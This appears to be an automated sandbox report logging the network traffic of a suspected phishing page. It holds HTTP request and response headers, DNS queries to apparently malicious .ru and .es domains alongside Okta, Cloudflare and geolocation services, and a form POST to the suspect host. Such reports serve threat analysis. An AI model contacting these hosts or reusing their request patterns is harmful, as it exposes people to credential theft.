Source: global traffic	HTTP traffic detected: GET /mnWWLDoCvTuJ44YEia1IuvMedjsDXwWtKcXBKxZktSxIt90150 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op6Mrs1renkJ35aO41HAghcddbJoa55lWN11kJbRL0p045131 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqWbEvgWkjRTKjFO12iw2fiiwx40 HTTP/1.1Host: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrs8pdG8GgLuke34Q9amhuv35 HTTP/1.1Host: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gkvAf6jmnBREz5yxvfgE6wSog3vYueIzzibi3xWIysUvIqpAiXk63xF05 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlR4bHMzcXl2WS9STFg0d3pGV3JZZHc9PSIsInZhbHVlIjoiSzR0OUMwb2VQekR0L21sdnA2WW1UR04yNXc1enE5VzdJajVsMThldVIzcnNuek81RGJ3M1dNY25leGVWT2F3VHhoZ1BOTEZvNS9XS1VBZlpNbTB1MVVEVk9CTnZMdVpUMEQ5WFRIbXdRNnhLazM4SmFNS21kL3VDL2s4bzVFWGwiLCJtYWMiOiJhNjBkMDBlMWI3Njk0MzI2NjVkYmFkYzE2ZTNkZTg0NGMwMDEyMmYwYzFmNmI4NDE1Nzc3OWExMWQzN2Y4ZDY4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlJV3YwLzdlaWNZbTV1OWdGeFdsSEE9PSIsInZhbHVlIjoiZEZWRWFHVVl6QkErbVNTRHdFaFBkQzB2NmN6QXdHN1NIb0JRdVVsVERyYWZPM3hiUlVUVXl2OGZrK1o2c0wwUzhlMENXYXE0TXJ0ZzNNUzBrSUxzU09xb245eEptajlsTFVIdURXMUhvYll5MEI4ekdLVEhYU1dzWi9tZmZ6ejYiLCJtYWMiOiI3YWRmM2YzNjcyZGMzNjQ5YWUxZDgyNWRjMjEyYjQwN2QxOTUxNjY2NjMxNjU5NGVkNWFmZTMxOGJiNDhjNmQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrsCMzrpRqTK9IuDo5uH120sKuv40 HTTP/1.1Host: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqb3OD4IkkjVGPcFner12VAuv40 HTTP/1.1Host: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqO8cxpfCwqW34BT12YZwx40 HTTP/1.1Host: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrsyXMmU2jB34y6ylWj3uv36 HTTP/1.1Host: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqYmiqqu4J4ANanVyzm73nllLwx40 HTTP/1.1Host: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIrsCaU6NfMr9Kt12TCZsuv36 HTTP/1.1Host: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: 8rgz.mdrvgqsm.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: mlzgl.pnkptj.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.es

Source: unknown

HTTP traffic detected: POST /weMiO5475NClmL4euocG4r3o HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveContent-Length: 774sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1X6vqDFXUTQT7Mc4sec-ch-ua-mobile: ?0Accept: */*Origin: https://8rgz.mdrvgqsm.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://8rgz.mdrvgqsm.ru/1djFOQV/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImFKeC82MmRiM3ErK01uMHZaRWVPNFE9PSIsInZhbHVlIjoiNGxvTkpzbVcwQjBnU2RIZzQvbmdFZ0lmTWY4SS9HaURSSGlmc1gzQWJjU1MzMVJ4RTBHTHpxS3hzYzUwb29aZnRGMGZtQzIvaFIyNGVWaWRYOGNiV2tKaXQxcUwya1FlcHAwYVBWVVN4ZUtUVmUwRHUySDU5UGlpQlNMdVVrUnIiLCJtYWMiOiI5ZDNlYzZhZWI0MTRmYWQyNzcwNGM3NjAzNjE5MzIwYzRmMzdhZDhlOTI0NTY4M2MzNDhmYjE3MmE5ZmM4YWE5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkU4TjRYMW83NHMycEpzU3Fac1V3VkE9PSIsInZhbHVlIjoiRGhkWSthcmtUSW5HcTBEeTgxYlBWOHhCMEpTUHZUS1o0YWRXRVR5OHNMbFkwR2VjOTNNWjkwWjJycGhSVVlYdnFTL1N4aWxuUFZCQ1ZSWGdiTmJWcEdtWk9Gdit4dW00UEZuYTAyclUrZFRLS2NEQVVlU1N5SStCME1CVHpDWmoiLCJtYWMiOiJlMjhkNmQyNGJmMjBhNmFlM2UxYjkyNjMzMjdhNDM1YjUzOGQ1ZWI2NmM2NzQyY2I2N2ViOWZjODQ5YTdiNmQ1IiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Mar 2025 07:57:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E%2B9u8CO2pzROYQZSdvlnIJwRvjU59jGQW3NnAPHYhkB1IYsmtVuvCXTXFMuzyLFbZmYvsZi0r9VLPxkPTT8wRuVu%2BKuSO2zmuf9WsU%2F6S3LKShW4MckN2CJYxkFh"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=9981&min_rtt=9900&rtt_var=3770&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2030&delivery_rate=287676&cwnd=245&unsent_bytes=0&cid=0e3f643cc6b717b3&ts=284&x=0"Server: cloudflareCF-RAY: 9233a80f2f6ac475-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=99537&min_rtt=96404&rtt_var=23477&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1699&delivery_rate=38614&cwnd=238&unsent_bytes=0&cid=8e58f6c032ff1521&ts=717&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Mar 2025 07:57:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w0fkq7SWG7Wk%2F48A8WHzjqWOhlfDZE%2Fdh2O%2B%2FBbAoXsJKiZ4AkWj125%2B0Tae6wbwJfIMDNeDF6kpy2t0Uus9EoI8rShWI%2BetUtv5R8uX21M%2Bvmmt57A8%2BnuhqTU3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=9920&min_rtt=9675&rtt_var=3803&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2230&delivery_rate=294366&cwnd=251&unsent_bytes=0&cid=ec20a677677e9fd6&ts=413&x=0"Cache-Control: max-age=14400CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 9233a814595a9e04-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=99150&min_rtt=97171&rtt_var=22580&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1898&delivery_rate=38433&cwnd=219&unsent_bytes=0&cid=5678a16949c490ec&ts=801&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Mar 2025 07:57:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8BMJX1qUMFCRfPeJXd52xOnIkT%2BKHR7kFhnf3JSahIPIkqKdYiZnea5pClDOveZAf%2BJgtky9QBlYoLinP1ZJn29wAtmcr93PyAlPl6Llywpz4eipi%2Fz%2BDRhMbWHa"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=10185&min_rtt=10074&rtt_var=3857&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2056&delivery_rate=282707&cwnd=251&unsent_bytes=0&cid=9f3eb72e047c912b&ts=231&x=0"Server: cloudflareCF-RAY: 9233a819d859e56c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=97395&min_rtt=96508&rtt_var=21157&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1724&delivery_rate=38607&cwnd=225&unsent_bytes=0&cid=8a72cee5f95ca223&ts=641&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Mar 2025 07:57:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lZ%2BGMPB5an7dJeLcxgYG%2FIa8UOTm%2B54QyLJsvJrXiLuJHKYmQ5Ev6Z5cbJ76VksUzD1dyGT8g2Fng7VVISN1eGd0Kq2f88RiQcSBrTkJsD7ICBGf3GN6eP94LJS0"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=9837&min_rtt=9775&rtt_var=3710&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2064&delivery_rate=291355&cwnd=252&unsent_bytes=0&cid=32ad141151479b0d&ts=236&x=0"Server: cloudflareCF-RAY: 9233a832cdcf4a1a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=99550&min_rtt=98513&rtt_var=22343&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1732&delivery_rate=36734&cwnd=239&unsent_bytes=0&cid=5cfaee856b45e097&ts=649&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 20 Mar 2025 07:57:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JEAk73C%2FcRBsnUcW0geBRWoatzU6W3xcfSf1vi0Xakdl1LsyhFVdxKBpYNChbN9MecUawS0uglPdhchsOVbCewohOe9jb9w6H7IsvgCd%2F27F4%2BnMsVE4CHjxWGTt"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=10699&min_rtt=10153&rtt_var=4197&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2063&delivery_rate=280508&cwnd=252&unsent_bytes=0&cid=9bb08b8b248e6660&ts=262&x=0"CF-RAY: 9233a920af490f9d-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_70.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_70.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_112.1.dr	String found in binary or memory: https://www.target.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
